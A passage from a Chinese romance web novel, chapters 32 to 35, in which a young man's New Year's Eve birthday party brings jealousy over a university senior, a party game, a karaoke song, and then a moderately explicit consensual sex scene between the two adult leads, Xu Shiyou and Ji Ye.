厚脸皮如她竟然也生出了丝羞耻,脸热道:“我是说,触碰我的想法。”
季野指尖都颤了下,最后再理智和欲-望之间摇摆不到一秒,可耻地选择了后者。
“有的,每次都很想……”他拱进她颈窝,闷声,“但我怕你觉得我孟浪……”
更确切说,是怕她觉得他目的太昭然,会反感,所以他总是放弃主动,任由她。
“啊,你是骂我孟浪?”
“不是,我不是那个意思。”他轻轻咬她耳垂,“我喜欢的…姐姐不管怎么对我,我都喜欢的……”
因为有了别的方式加持,某人终于缴械投降,也把她整得乱七八糟。
徐诗柚有些羞恼地瞪了罪魁祸首一眼。
后者心虚地偏开眼,喉结滚了滚。
是有些过了……
他用手背擦了下嘴角,替她把散落的扣子系上,低头过去顺毛:“姐姐呢?刚才是不是因为我…也挺难受的?”
“要不要我也帮你……”
!!!
徐诗柚都快不敢信眼前这人是谁了,男人果然都一个鸟样,开了点荤,就飘得找不着自己定位。
她当然没让他帮,还有种被主导了的挫败感,最后恼羞成怒,踹了他一脚,忿然离去。
32. 吃醋
季野生日那天,也就是跨年那天,徐诗柚很早就开车来到季家郊外的别墅。
严格上来说,要搞庆祝的是季薇,不管跨年还是生日都不过是她想热闹找的借口罢了,徐诗柚作为主办人闺蜜,算是作为家属方出席,自然要去帮着布置。
至于各种摆件,插花,气球,贴纸的,季野一个男人搞生日当然不会整这些花里胡哨的,但季薇很注重搞这些氛围感的东西,而且很喜欢自己动手装点,徐诗柚只好帮着捣鼓。
邀请的大部分是季野的朋友,都是些大学生,考虑到年轻人的喜好,季薇把别墅搞成了轰趴模式。
人一多,季薇就没打算自己下厨,她是个懂享受的主,可不会在这种时候当伺候人的,所以晚餐什么的都直接安排了五星级大厨□□,餐饮点心的更是一应俱全。
因为要熬夜跨年,还准备了烧烤作为宵夜,但她比较主张自己动手烧烤的热闹,宵夜就只安排了工具和食材,
其它的娱乐设施,像台球,桌游,麻将桌,游戏机,KTV等等,年轻人喜欢玩的,她也都早早安排好了。
傍晚,被邀请来别墅参加派对的人陆陆续续到场,除了季野这边邀请的人,还有一部分是季薇邀请来的朋友,都是些已经出了社会的人,区别还是挺明显的。
因为季薇说,可以让朋友邀请家属或认识的一起来玩都没关系,所以除了季野比较相熟的人,也有一些不是特别熟的。
不过季野也知道,他姐就是图个热闹,喜欢和年轻人打交道而已,她这种社牛,不熟都能立马混熟。
季野和舍友们刚考完假期前最后一门就赶过来了,一起来的人,直接被装饰华丽的别墅给震惊到了。
看到别墅外花里胡哨的装饰,季野真是两眼一黑,知道的是他生日,不知道的还以为是哪个公主要过呢……
好在她没在门口整个他的大头照写上谁谁谁生日宴之类的,不然他可能要当场社死。
季野的几个朋友都很会做人,一见着季薇都纷纷喊薇薇姐,然后就是上来抢活干,围着季薇叽叽喳喳的,把季薇哄得心花怒放,所以说,找弟弟就是情绪价值高啊!
徐诗柚从里面出来的时候,正好碰到一群人往里走,孟嘉信是第一个和她打招呼的。
“诗柚姐,好久不见。”
他这么一喊,徐诗柚才想起,孟嘉信好像也很久没找她唠嗑了,除了手作上的事,也不成天给她发些乱七八糟的搞笑视频了。
她点头,莞尔:“嗯,是挺久没见了。”
其他人就没孟嘉信和她熟了,打招呼都有些羞涩的紧张,像一群在美女面前不知所措的男孩。
“姐姐。”一道软糯甜美的声音从旁侧响来,徐诗柚偏头望去,林雪有些尴尬地摸了摸鼻子,“我之前还以为,你是季学长的亲姐姐呢……哈哈,闹了个笑话。”
啊,这不是那个喜欢缠着季野叽叽喳喳的学妹嘛?
徐诗柚这会才把视线投向从进门开始就一直盯着她看的人,似笑非笑。
关系还挺好的嘛,都邀请来生日会了。
季野秒懂了她的眼神,张了张嘴,又碍于人太多,不好开口。
徐诗柚拍拍小姑娘的肩,温柔笑道:“我是他姐姐的闺蜜,和亲姐也没什么区别啦,别在意~”
“真的吗?太好了!那我继续叫你姐姐没关系吧?”
徐诗柚还是保持礼貌微笑:“当然。”
说完,她没再和他们闲聊,转身进了厨房。
来的人越来越多了,她也不认识,有些是朋友带朋友,有些是带男朋友女朋友。
人不少了,大家都是饿着肚子过来的,得去安排人上餐食。
她一走,季野也跟上,一路跟到了厨房,等她吩咐好,转身出来就撞见他杵在她身后。
她扬了扬眉,也没什么想说的,就绕过他往外走。
季野也跟着走,像只跟屁虫似的。
边走边解释:“不是我邀请的,刚好在学校碰见,舍友们给她提了一嘴,她就问了能不能来。都是认识的,我不好拒绝……”
徐诗柚站定,好笑地回头:“你干嘛呢?我又没问,跟我解释这做什么?”
“我怕你误会,会不高兴……”
“误会什么?”她歪头,笑了声,拍拍他肩,“放心啦,我不是那种爱拈酸吃醋的人,不会不高兴的~”
结果季野听了这话,非但没放心,脸色更颓了。
他嘴张了又合,想说什么,对上徐诗柚那似乎什么都不放在心上的无所谓表情,又把话咽了回去。
闷声:“哦…知道了。”
……
晚餐都是五星级大厨安排的餐食,摆满了长长的一桌,邀请来的学生们也不是各个都吃得起或者吃过这种高级餐食的,纷纷赞不绝口,觉得自己没白来,那些和主人公本就不是很熟只是来蹭吃的都吃得有些不好意思了。
没有必须要坐在餐桌前就食的规定,大家纷纷端着盘子,夹了想吃的,然后散作一团,各自为伍找娱乐。
有的跑去打牌,有的跑去楼上的KTV包厢,有的去打台球,有些就喜欢坐下来围在一起吃吃聊聊。
季薇是个人来疯,很能和年轻人打成一片,这会已经毫无破绽地和一群大学生融成一片了,连带她邀请来的社会精英们都被拉下来给年轻人们传授些社会或者工作上的经验。
徐诗柚被一个说自己是动漫社社长的男生缠住了聊天,说自己看过她直播,认得她,还说以前见过她一次,还在朋友圈问过有没有人认识。
徐诗柚看了眼他发朋友圈的时间和照片。这不是她第一次去学校找季野送手办的那回吗?没想到居然还有人在学校捞她,还捞到她本人面前了,也是挺有意思的。
晚些时候,这位社长终于被伙伴喊去了玩游戏,一直围着季野叽叽喳喳的林雪却过来了。
她重重地往沙发上一坐,脸色颓然,完全没有了来时的精神头。
徐诗柚捻着葡萄吃,瞥她一眼,懒洋洋调侃:“怎么不去找你学长了?”
“唉,算了,可能没机会了。”林雪端了杯鸡尾酒,一口灌完,重重落下。
徐诗柚淡淡地扬了扬眉:“怎么?”
这姑娘没什么心眼,问两句就什么事都能交代:“学姐回来了。”
“学姐?”
“姐姐你不知道吧?季学长和他们专业的一位学姐,之前在我们学校论坛的传闻里是一对很多
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人磕的cp呢,但听说那个学姐之前去国外当交换生去了,去了一学期,所以我都忘了。”
“我听说,那学姐还是季学长的白月光呢!”
“也不知道什么时候回国的,刚刚我看到她过来了,和学长在外面聊,聊的都是些很专业的东西,我根本插不进去嘴……”
小姑娘丧着一张脸,唉声叹气,“季学长都把她邀请过来了,看来我是没什么机会了,唉。”
“真的,那学姐又高又漂亮,声音好听又温柔的,他们站在一起就感觉该是一对的。”
“你不知道,学长跟她说话都是笑着的,对我就总是冷着一张脸,什么表情都没有!”林雪颓颓往身后沙发一躺,丧气道,“打不过啊打不过~”
徐诗柚这会才抬头扫了眼主厅,原本被拉去了打牌的季野,不知道什么时候已经不在了。
她又转向别墅的落地窗外,果然,花园外面正站着一对高挑亮丽的男女,正聊着什么。他们站得有点远,看不大清,但季野是很好分辨的。
徐诗柚至少能看到他上扬了15度的嘴角。
晚风吹起,他面前站着的漂亮学姐,正抬手勾着黑长的发至耳后,似乎是察觉到外面冷,季野朝别墅的方向示意了下,似是想喊她进去。
侧转过来时,正好隔着玻璃窗撞上徐诗柚看来的一眼,两人视线相接不到半秒,又都各自收回。
徐诗柚客观评价:“嗯,我觉得你说得没错,确实打不过。”
这剧情急转得有些突然啊,还狗血。
……白月光回国?
“啊,怎么连姐姐你都这么说!我都这么惨了,姐姐就不能安慰安慰我吗?别说了,我现在想哭。”林雪捂着脸,更难过了。
徐诗柚也是这会才终于想起,季野曾经说过,他是有喜欢的人的。
她无视林雪的哭唧唧,问:“那个学姐,有喜欢的人吗?”
林雪暂停难过一分钟,想了想:“论坛上有人八卦过,好像那学姐是有喜欢的人的,谈没谈不知道,只听说男方好像对她不是很好,后来再听说就是学姐出国了,大家还说磕的cp是不是要be了呢,情况到底是怎样咱也不知道。”
对上了,季野暗恋的那个对象,也说是有喜欢的人,也是说对她不好,她当时怎么说的来着?对了,她让他抢过来……
害,石头砸自己身上了。
徐诗柚也端了杯酒,没什么表情地灌到底。
后面季野把人带进了别墅,徐诗柚也终于看清了对方的脸,确实如林雪说的,又高又漂亮,声音好听又温柔,就很典型的白月光形象。
而且人气也很高。
因为她一进来,同校的很多人就立马认出来了,一个个惊喜跑去问候,于是徐诗柚知道了她叫许静。
许静学姐对谁都笑得很温柔,还准备了小礼物分给大家,哄得小学弟小学妹们个个高高兴兴的。
徐诗柚的视线则一直放在跟守护神一样杵在人身后的季野身上,然对方却从进来起就没朝她看来过一眼。
好吧,这就是白月光的杀伤力啊。
看来他们的关系要到此为止了。
正好她也准备跟季薇回京市,也算省了麻烦。
33. 游戏
到了较晚的时候,派对来到了生日庆祝的环节,有人把蛋糕推了出来,闹着要给季野戴生日帽,唱生日歌,还让他许愿。
通通被他冷脸拒绝了,很嫌弃。
许静不知道冲他说了句什么,他稍稍俯身侧听,忽的头上就被盖了顶生日帽。他愣了下,就见许静俏皮地冲他眨了眨眼。
意识到自己被算计,季野最终也只是无奈地笑笑,但也没把那顶他觉得幼稚的生日帽扯下来。
周围一众人纷纷起哄,似乎对二位传闻中的关系已经心照不宣了,各个上赶着凑热闹。
季薇也很意外,她可不知道弟弟有个什么关系好的学姐啊?
她看了眼弟弟,又看了眼闺蜜,前者被大家起哄也无所表示,后者懒靠在长桌上安静品酒,看不出什么情绪。
切蛋糕的时候,不知道谁先起了个头,准备了礼物的都一个个排着队送礼去了,每个人还同事附带几句祝福话,弄得像来祝寿似的,场面一度有些好笑。
等到学姐送上礼的时候,应对方话语,季野是当场打开的,是双球鞋。
霜白基底晕着冷调的极光蓝渐变,鞋舌处垂着一枚刻有专属编号的铂金小坠牌,logo暗纹里还嵌着月光石微粒,在光线下漾着细碎的流光。
是品牌为纪念十周年推出的典藏款,也是季野偶然在季薇面前提过一嘴的鞋,徐诗柚也是托了关系才搞来这么一双的。
看清楚鞋的那刻,大家都惊呼出声,纷纷叫嚷着学姐豪气,搞得他们的都不好意思拿出手了。
季薇下意识瞥向闺蜜,徐诗柚也正好看去,两人目光相接一秒,眼神复杂,都流露出点无奈又晦气的神色,徐诗柚最后只是一耸肩,表示无所谓了。
确实晦气,送个礼物都撞款,看来她的是要砸在手上了。
季野的眼神也很意外,甚至有些反应不过来,下意识便用余光去找徐诗柚,但对方始终淡压着眉眼,看不出什么情绪,但他就是没由来地心慌。
他嘴唇翕动半天,最终当着这么多人的面,还是收下了,小声道谢:“谢谢,我很喜欢。”
等所有人,包括季薇这个亲姐都送完礼后,唯一知道两人有点什么所以一直没跟着起哄的孟嘉信多嘴问了句:“诗柚姐你呢?你给我们阿野准备什么礼物了?”
本来是想助攻的,万万没想到弄巧成拙。
起哄的人群一下子安静下来,纷纷朝她看去,季薇扶额,都已经开始替闺蜜尴尬了。
季野也正看着她,眼里是藏不住的期待。
徐诗柚这会都想揍孟嘉信一顿了,哪壶不开提哪壶。
她淡定地晃了晃杯中酒,缓慢眨了下眼,露出点不好意思的笑容:“抱歉啊弟弟,今天光顾着派对的事,忘带了。”
季野期待的眼神随着她的话语一点点暗淡下来,但很快又掩埋:“没事,姐姐别在意。”
气氛闹得有些尴尬,大家为了圆回场子都在东拉西扯,争取把场子重新热回来,很快就把这件事揭过了。
许静的目光在两人之间逡巡而过,最后定在徐诗柚那张过分精致的脸上。
“你姐姐?”她问季野。
季野淡淡地“嗯”了声,并不想多聊这个。
-
庆祝完生日后,一群人又围坐在一块玩游戏聊天,不知道谁先发起的,有人提议玩“时间炸弹”,一群大朋友立马兴奋起来。
这游戏,就是用手机计时器设置一个倒计时炸弹,计时开始后问旁边人一个问题,同时把手机递给对方,接过手机要回答问题并提出一个新的问题给到下一个人,倒计时结束,手机炸弹在谁手上就需要接受惩罚。
刚开始的时候,场面一度很混乱。有的人问题都还没回答上,就已经迫不及待地把“炸弹”往下一个人手里塞了,有的则是问题都没问,就已经懵逼地把“炸弹”递出去了,又被后面的人推回来,吼着“还没问!还没问呢!”
要么就是卡在问题上答不上来被罚。
一开始问题都还是比较正常的,大家还放不开,问得都挺保守。比如“最近一门考试是什么”“说出你最害怕的三件事”“对自己哪个部位最满意”等等。
但毕竟都还是一群处在青春躁动期的年轻男女,荷尔蒙催动下,终归会回到大家最想八卦的问题的。
不知道哪个时刻开始,问题就偏向感情八卦了,渐入佳境的一群人开始了借着游戏互扒隐私。
“你被甩过多少次?”
“有没有做过对不起女朋友的事?”
“和男朋友做过最疯狂的事是什么?”
问题一个比一个炸裂,却也是最容易调动男女之间氛围的。
传到许静的时候,大概是人缘好,大家问得比较嘴下留情:“学姐现在单身吗?”
不知道有意无意,许静朝季野的方向扫了眼,淡笑:“嗯,单身。”
“呜~~~~”人群哄闹。
炸弹传下去,等到季薇接过炸弹,对她,大家可就没那么客气了,都知道她是个玩得起的人。
“薇薇姐恋爱期间会有备胎吗?”
真敢问啊!这跟问她是不是经常养鱼有什么区别?
季薇一撩长发,潇洒地应对自如:“不会,姐姐不恋爱,全是备胎。”
顿时口哨声、拍桌声、怪叫声搅成一团,不知道谁喊了句,“不愧是你啊薇薇姐!”
轮到徐诗柚接到炸弹时,大家默认她和季薇都是那种很放得开的人,问的问题同样大胆:“敢问这位姐姐,上次有亲密行为是什么时候?”
饶是徐诗柚都被问征了几秒,温柔又阴恻恻地笑着,望向给她递手机的男生,对方被她看得毛毛的,呃,是不是问太过了……
徐诗柚略作思考几秒,回:“五天前。”
有人开始掰手指算,“五天前,就是圣诞节第二天,26号?”
季野睫毛动了动,于人群中悄然红了耳。
季薇瞪圆了眼,立马低头哒哒哒敲字。
【26号?半夜还是白天?】
徐诗柚低头看了眼,真是怕死她的敏锐了,她26号上午就走了,和季野可不就是半夜的时候嘛……
“哦
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~~听见没,这位姐姐有对象了,有想法的都别想了哈!”有人开了句玩笑,众人哄笑,很快又都被带走了注意力。
徐诗柚也赶紧掐灭手机,把炸弹递给下一个人,随便抛了个问题,季薇无声瞪了她一眼,一脸秋后算账的姿态。
等“炸弹”转到季野手上的时候,问问题的是林千,林千欠嗖嗖地睨他一眼,一副要搞事情的表情。
季野被盯得脊背发凉,直觉不好——
果然,下一秒,他问出的问题让季野恨不能当场掐死他。
“敢问这位帅哥,上次看小电影是什么时候?”
“呜哦~~”
在场的男生都秒懂地笑了起来,女生们则都红了脸,又想知道又不敢直白望去,有心思没心思的都悄悄竖起了耳朵。
毕竟校园男神这种高高在上的人物,大家平时是很难把他和这种低俗之物联系在一起的,这就像你没办法想象帅哥也会抠鼻子一样。
再加上季野本身在学校也是比较冷淡寡情的一个形象,大家都默认他是断了七情六欲的。
林千明知道他之前才问过他要那些,这会拿来问不就是故意搞事情吗?
“炸弹”上的倒计时,在他手上飞速减少,他下意识地扫向徐诗柚所在的方向。
徐诗柚不像别的女生,她不仅没不好意思,还直勾勾地望着他,一脸“快说,我也很好奇”的表情。
季野攥着“炸弹”的手紧了紧,有种要社死当场的绝望了,他刚一启唇——
滴滴,滴滴。
手上的炸弹响了。
没在规定时间内回答上问题,他先主动自罚了三杯。
输掉了要接受惩罚,但他毕竟是今晚的寿星,大家没敢惩罚得太过,有人让他等会唱首歌就当做惩罚了,季野暗自松了口气,唱歌总比回答这种社死问题好。
后来反着又轮了一圈,再次到季野的时候,问题要友好多了,不是那种故意搞事的,更像是替谁在试探。
因为对方一问完,现场就安静了下来,不像刚才都在起哄,好像都对答案有了一定默契。
“用三个词来形容下你的初恋。”
听见问题,季野搭在腿上的手指几不可查地蜷了蜷,默默扫过一圈都瞪大着眼等着听八卦的人群。
视线故作不经意地落在徐诗柚身上半秒,又很快收敛。
桌上摆满了点心吃食和各类酒,徐诗柚整场游戏都端着酒杯,慢悠悠地喝了一杯又一杯,这会对这个问题像是没什么兴趣,并不像其他人那般朝他看去,目光反而漫不经心地落在手中的酒杯里。
季野垂下眼皮,开口,说出第一个词:“漂亮。”
“温柔。”
两个词一出,大家似乎都已经对目标人物了然,都是同校的人,学校论坛关于两位的传闻都心知肚明,不少人已经朝许静丢去心照不宣的眼神了。
后者一直保持着淡淡的微笑,仿佛看不出大家打趣的眼神般。
徐诗柚把剩下的一点喝完,仰头的同时,听见最后一个词落地。
“姐姐。”
34. 冲动
季野辨识度很高,干净清透的嗓音钻入耳朵,像无数次喊她时的声音一样,格外动听。
徐诗柚落杯的动作一滞,还没来得及多想,便听见有人喊:“懂了懂了,就是初恋比你大的意思吧!哈哈,真会含蓄。”
三个词说完,大家对这“初恋”已经纷纷有了自己的定数,不知道是不是怕对方不好意思,都很贴心地没有就这个话题继续闹腾下去。手机很快传给了下一个人,游戏还在继续。
徐诗柚喝得有些热了,还有点晕,朝季薇敲敲手机屏幕,示意她看。
【我喝得有点闷,到外面吹吹风。】
季薇刚还想着找她算账的,结果闹这么一出,她又不是傻子,怎么会看不懂这群小孩在闹腾什么。
她现在都有点分不清季野嘴里的“姐姐”指的到底是闺蜜,还是他那个所谓的学姐了。
她心情有些复杂,直觉闺蜜现在心情不太好,也就没在这个时候去找她掰扯些有的没的了,冲她比了个ok的手势,让她先出去。
徐诗柚去了二楼的露台吹风,这里也被布置得充满节日氛围,挂了很多串灯。
等会熬夜跨年的人会上到这里来看烟花和烧烤,所以这里现在摆满了烤架那些,食材铺了一长桌。没去玩游戏的人,这会已经在张罗着生火开烤了,还有些人在别墅到处找角度拍照。
这上面有一部分是季薇邀请来的朋友,都是已经出了社会的人,有些比较内敛的没法和学生玩到一块,就在上面和同年龄段的喝喝酒聊聊天。在张罗烧烤和拍照的则多数是学生带来的亲属或朋友,他们和主角不太熟,也就没去楼下凑热闹。
徐诗柚对烧烤比较感兴趣,看一群人半天没生起火来,凑上去跟着帮忙张罗,顺带给大家演示了一把如何快速起炭火,一群小女生还都夸张地鼓掌称赞,情绪价值给她拉满。
徐诗柚心满意足地端着酒杯离开,深藏功与名。
耳边有轻笑声响起,她偏头,见是季薇邀请来的人,估计是看了个全场,在笑她。
没记错的话,好像是季薇公司的某个部门高管,私底下也同季薇关系不错的,她歪头想了想,不确定出声:“魏先生?”
……
季野出来的时候,一眼便看见那在露台边缘并肩站着观景的男女,他们站的位置比较昏暗,挂灯照拂不到,远离热闹的中心,不仔细看都看不出来那边还有人,显得私密又隐蔽。
徐诗柚身上还披着对方的西装外套,发丝随风飘动,她眉眼舒展得过分明朗,肩一直在颤,手中的酒也随着她颤动的手摇摇晃晃地波动。
也不知道对方说了什么,让她笑得这么放开,甚至还伸手朝对方锤了两下,行为很是亲昵,不知道的还以为是在打情骂俏的情侣呢。
季野只觉大脑嗡嗡的,他喉结滚动了下,唇线抿成冷硬的直线,垂在身侧的手骤然攥紧,眼尾泛红,抬脚就要往那对笑得正开心的男女走去。
只是脚刚迈出去——
“季野。”
身后一道温柔含笑的声音叫住了他,袖子被轻轻拉扯了下。
他没来得及收敛情绪,沉着脸回头。
许静似是没料到他会是这么个表情,愣了几秒,才恢复笑容:“怎么了?”
见是她,季野敛起情绪,摇头:“没…学姐有事?”
许静顺着他刚才的视线不经意扫过一眼,又收回:“嗯,有空吗?有话想和你说…能聊聊?”
季野本是想拒绝的,但又想起什么,最后看了眼徐诗柚的方向,垂下了眼,点头:“行,正好我也有话和学姐说。”
-
徐诗柚不知道自己今晚到底喝多少酒了,她不刻意控制的时候,基本把酒当水喝。反正转到哪都要拿上一杯在手上当饮料,
回到室内竟觉得脚步都有些飘浮,今晚怕是熬不了夜了。
她去找季薇,发现刚才在楼下闹腾的那波人这会已经转战到二楼大厅了,还没走近,就已经听见里面传来的吉他弹唱。
是季野的声音。
估计是在兑现刚才输掉游戏的惩罚。
季薇并不在二楼大厅里,而在同一层楼的台球室,和朋友正较量得火热。
徐诗柚找到她,简单交代了下自己喝多了想休息,今晚跨年就别喊她了,然后季薇指给她一个房间,是早给她安排好用来休息的。
房间在三楼最靠边的角落,保证不会有人来打扰她。且房间正对露台,如果没睡,在室内也可以观赏到跨年烟火,缺点就是可能会有些吵。
不过本就人多闹腾,隔音有限,怎么都是有些吵的,徐诗柚不太在意,她喝了挺多酒的,这点闹腾应该吵不着她。
出来往房间走的方向,会经过季野他们所在的大厅,里面被打造得很KTV风,音响巨屏齐全,大灯被关掉,头上玻璃球彩灯缓缓转动变换着颜色。
众人围坐成了一圈,季野就坐在高凳上,怀里抱着吉他,指尖拨弦的动作轻缓,带着点漫不经心的慵懒。
他垂着眼,长睫在灯光下忽明忽暗地落下阴影,嗓音比平时说话时要低哑许多,带着点慵懒的尾调,顺着旋律落进歌词里。
“我猜你早就想要说明白
我觉得自己好失败
从天堂掉落到深渊
多无奈
……”
是陶喆的《普通朋友》。
嗓音低低哑哑的太勾人,更像是他平时附耳在她耳边低语时的声音,也像他情动时失控的喑哑。
徐诗柚路过的时候不自觉放慢了脚步,偏头往里看。
不过一眼,对方似是有所感应般,也正抬眼,视线隔着晃动的光影,不偏不倚撞进她眼里。
一眼胜似千言万语,这一秒,周遭的喧嚣仿佛都被按了静音键,她眼里只看得见他一人,也只听得见他的声音。
一字一句,仿佛带着不自知的执拗,每一个音符,似都都裹了无法宣之于口的心思,就这么在她心头轻轻撞击了下。
“我愿意改变
重新再来一遍
我无法只是普通朋友
感情已那么深
叫我怎么能放手
但你说I
Ionlywannabeyourfr
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做个朋友
我在你心中只是Justafriend
不是情人
……”
-
明明只是一首歌,歌词说的还是当朋友还是当恋人这种老生常谈的话题。
但不知道是不是她过于敏感,总觉得听什么都带了点别的含义,像是对他们这不清不楚关系的意有所指。
徐诗柚慌乱收回视线,加快了脚步路过,直到把歌声远远抛在了身后。
找到季薇给她安排的房间后,她反锁上门,贴着门板安静了好一会,才缓缓抬手按在了自己的心脏处。
咚咚咚咚……
异于平常的心跳快得宛如刚参加完百米赛跑,在胸口横冲直撞地叫嚣着,那点从前道不清说不明的情愫在蠢蠢欲动,似是要在此刻挣脱出来叫她彻底看清。
她摸了摸有些发烫的脸…真是喝多了。
……
“姐姐,你在里面吗?”
季野好不容易从人群中心摆脱出来,在别墅找了好几圈都没找着徐诗柚人。
他已经开始后悔今天的幼稚举动了,在明显察觉到徐诗柚的冷淡后,内心十分不安。
他直觉,如果今晚不找她解释清楚的话,他们两的关系可能要完了。
季野跑去问季薇,结果他姐没好气地瞪了眼他说“柚子已经走了”。
因为季薇的表情过于嫌弃,他犹豫了下,还是尝试给徐诗柚发了消息,所幸对方并没有不理他,还直接告诉了他在哪个房间,差点就信了他姐的鬼话了。
他找到三楼最靠近露台的角落房间,敲了几遍门,仍旧没人应。
但他听见里面传来什么掉落地面的声音,然后是高跟鞋踩在地毯的声音,闷闷的,有些慢,又有些乱。
“姐姐?”他侧耳贴近了门些。
下一秒,门拉开——
一抹火红映入眼帘。
徐诗柚看着步伐有些不稳,脸上一层薄红,眼神不太清明,明显的醉意。
挽起的发已解,长卷发披散着,微潮,像是洗过了。身上穿的却是一袭吊带红裙,烈焰衬得肤白胜雪,让人无端想起雪中的红梅,有种惊心动魄的美。
微醺的状态看着眉眼慵懒,没什么骨头地懒倚着门,慢慢抬眸看来。
季野喉结不觉滚了滚,垂下眼睫:“姐姐怎么……”
温香软玉忽然撞入怀,话还没说完,他被一把扯下,剩下的话语都被带着浓烈酒香的吻堵住了。
季野被这突如其来的袭击惊得眼角一点点怔开,眼里写满了反应不及时的错愕。
被拉下的刹那,第一反应便是扶住她不稳的身子,怕她摔倒。
但怔愣不过三秒,三秒后,他眸色一暗,用力掌住女人的腰肢,往房间里带。
余光里,似乎正有人拐向这边,嬉笑声由远及近。
但这些都不重要了,随着重重的关门声,连同所有的喧闹一起被锁在了门外。
他踢上了门,腾出一只手到身后反锁。
伴随着咔哒声,他重重地吻了下去。
35. 月满
他弯腰扣住她的后脑,另一只手则控住她的腰,两人激烈地热吻着,一路往里去。
徐诗柚穿着高跟的步伐凌乱,被逼得节节败退,但无所谓,面前的人不会让她摔倒。
两个被负面情绪裹挟了一晚上的人,在此刻,像突然被点燃的火把,发泄般彼此用唇重重碾压对方。
徐诗柚胡乱去扯他的衣服,察觉出她的急切,季野腾出手来主动替她。
外套和衣服一件件掉落在地,进攻的步伐却不曾停歇。
直到徐诗柚后脚跟踢到什么,膝盖一屈,失去平衡,双双倒向了身后的床。
季野手撑在她两侧,呼吸滚烫急促,像是要确认什么,他没有急着俯身,两人呼吸错乱地盯住对方。
彼此不过一个眼神的照面,便已然洞悉了互相眼里的占有欲念。
“姐姐……”他唤她,眼神和嗓音都浸满了浓烈欲色,哑得不像话。
没有再多的语言,徐诗柚勾住他的脖子拉下,主动仰起身子吻上去,季野没有一秒的犹豫,接过她的吻,大掌握住她的腿,勾上自己劲瘦的腰。
黑影再次覆上,手被交缠扣住,压进柔软的被褥里。
徐诗柚双腿夹住他的腰,隔着薄薄的布料,清晰地感受到他腰间流畅的肌肉线条和坚硬的力量感,也能感觉到他异样滚烫的体温。
她亦同样感受到了来自男人身上,比以往的每次都要来得更为强烈的情绪,像在发泄着什么。
徐诗柚很恼火,明明她才是那个一腔不满想要发泄的人,居然还被对方反过来压制了。
她极其不服气地夹紧腿,勾住他腰用力想要往旁侧放倒。
卧室的床很大,从床的边缘,一路滚到床的中心,两人的亲吻更像是场博弈,在互相争夺主权,谁也不放过谁,都在极力地用唇舌和肢体碾压对方。
什么等姐姐喜欢自己,什么怕姐姐会腻不想让她轻易得逞,这一刻的季野,什么都不想管了,只想占有,只想他的明月独属于他。
他从交缠中起身,双手交叠在腹部,轻轻一勾,便把脱剩的最后一件衣服剥落。
昏昧月光下,徐诗柚第一次看到他光洁的上半身。
紧实的胸膛与清晰的腹肌线条展露无疑,没有很夸张的肌肉,薄薄的肌肉裹着匀称的骨骼,腰侧线条利落,没有一丝多余的赘肉,恰到好处的少年感,看着又劲劲的。
有种和他乖顺内敛的外表不相干的野性。
还没看够呢,漆黑的身影就已经重新下压,将她笼罩。
男人像是彻底释放了天性,炙热的吻一落下,便是不容抗拒。
到底男女体力悬殊,在季野不愿退让的情况下,徐诗柚竟没有一点能够争取上位的机会,被压得死死的,她都要气恼了。
平时这么乖的人,现在居然一点都不让她?
可是她的气还没上来多少,很快就在对方举一反三的吻技和掌心的游走下,软成了一滩水。
在被吻得意乱情迷之际,她昏沉的头脑总算抽回了一丝清明去推拒他:“不行,没有…没有那个……”
季野没有停,沉重的呼吸声和衣物布料摩擦的窸窣响声在黑暗里异常清晰,他腾出一只手从裤袋里摸出个小盒子塞到她手心,扣住。
“有的,姐姐。”
“有的……”
徐诗柚怔愣几秒,缓慢转过头去,看向被扣在两人掌心的盒子,莫名有些脸热。
“你……”
话才出口,唇又封上,似是知道她要问什么,迫不及待给她堵上。
“别问了,姐姐……”他耳朵红得厉害,压着她耳廓,低声,昭然心思袒露得有些羞窘。
不过以备不时之需,怎么会想到这么快就派上用场了呢,显得他多心思不纯一样。
虽然确实是那样……
他说话的同时,手顺着红裙一路往上,指腹粗粝,骨节带着力道,克制又充满暗示地在她腰线徘徊,然后一寸寸往上。
徐诗柚一个“不”字都说不出口。
身体过电般随着他的动作轻颤。
他到现在的表现压根不像个新手。
包装在空气里发出刺啦的撕开声,短暂解脱时,徐诗柚迷蒙着眼去看他。
然后便发现,他其实远没有表现出的那么冷静,撕包装的手都在轻抖,不知道是不是紧张的。
“弟弟,第一次?”她故意问他。
没料到会被质疑,季野动作一顿,眉头蹙起,似是有些委屈:“姐姐,我没有过,很干净的。”
“看着不像啊?”她笑,还在逗他。
他一下就急了,慌乱套好,低头吻她,轻蹭她鼻尖,仍旧委屈得不行:“真的是第一次,你别嫌弃我就好…我不是他说的那种人……”
他?
电光火石间,徐诗柚想起他假装喝醉的那晚,秦聿给她发的消息。
【你以为弟弟就很干净?】
【怕是不知道现在的小孩都早熟得很吧?指不定比你懂的都多。】
那会季野醉倒在他肩上来着……
她气笑:“你是不是都看见了?”
季野目光心虚地闪了闪,沉下腰来,抵住她:“姐姐,现在是说这个的时候吗?”
季野浑身都是滚烫的,动作间手臂的青筋微微绷起,在感受到一点点被侵占时,徐诗柚手指收紧,指甲无可避免地嵌入他的小臂,同样无法放松。
“姐姐,你还好吗?”陌生的包裹感让他爽到头皮都发麻,差点就要失守。
“不好!”她咬牙。
他慌了:“怎么?是我哪里没弄好?”
“……你自己心里没点数?”不知道是不是太久没有过,她接纳得有些困难,只能嘴巴叭叭地发泄,“也不道谁那天抓着我的手,一直强调自己不小来着……”
季野耳朵红透,羞窘地埋头:“姐姐别说了……”
两人都不太好受,各自缓着,在好不容易磨合好时,卧室外热闹的喧嚣好像这会才终于传进了被亢奋掩盖的两人耳中,一路被情绪和情/欲的冲动裹挟着行进的两人,好像这会才清醒过来他们现在究竟在干什么。
现在,此刻,别墅的轰趴派对,一群或熟或不熟的人都在外面,一个不小心闹出什么动静,可能就会引起谁的注意,又或者,忽然有谁找他们,很容易就……
声音远远近近传来,两人都紧张地绷着根神经。
四目相对的瞬间,脑子里同时闪过一个念头。
真是疯了!
“抱歉啊姐姐,我本来不是想这样的……”季野目光泄出几分懊恼。
他想过的,他们第一次,也许是在姐姐家,房间里,水到渠成,正正式式的……
而不是像现在这样,被情绪影响,冲动之下,在这么危险的地方。
“姐姐要是介意,我现在就退出来。”
他说着话,底下的动作却和说出的话两模两样。
“……”要不你别往里走试试?
徐诗柚不追求什么天时地利人和,要的就是理智丢掉这一秒的冲动,而且她酒喝多了,人不太清醒,谁要管其他了。
但她从哄闹声中辨出一道银铃般的笑声,正是她今晚糟糕情绪的来源。
她知道这种时候不该提,也不该作的,很破坏气氛。
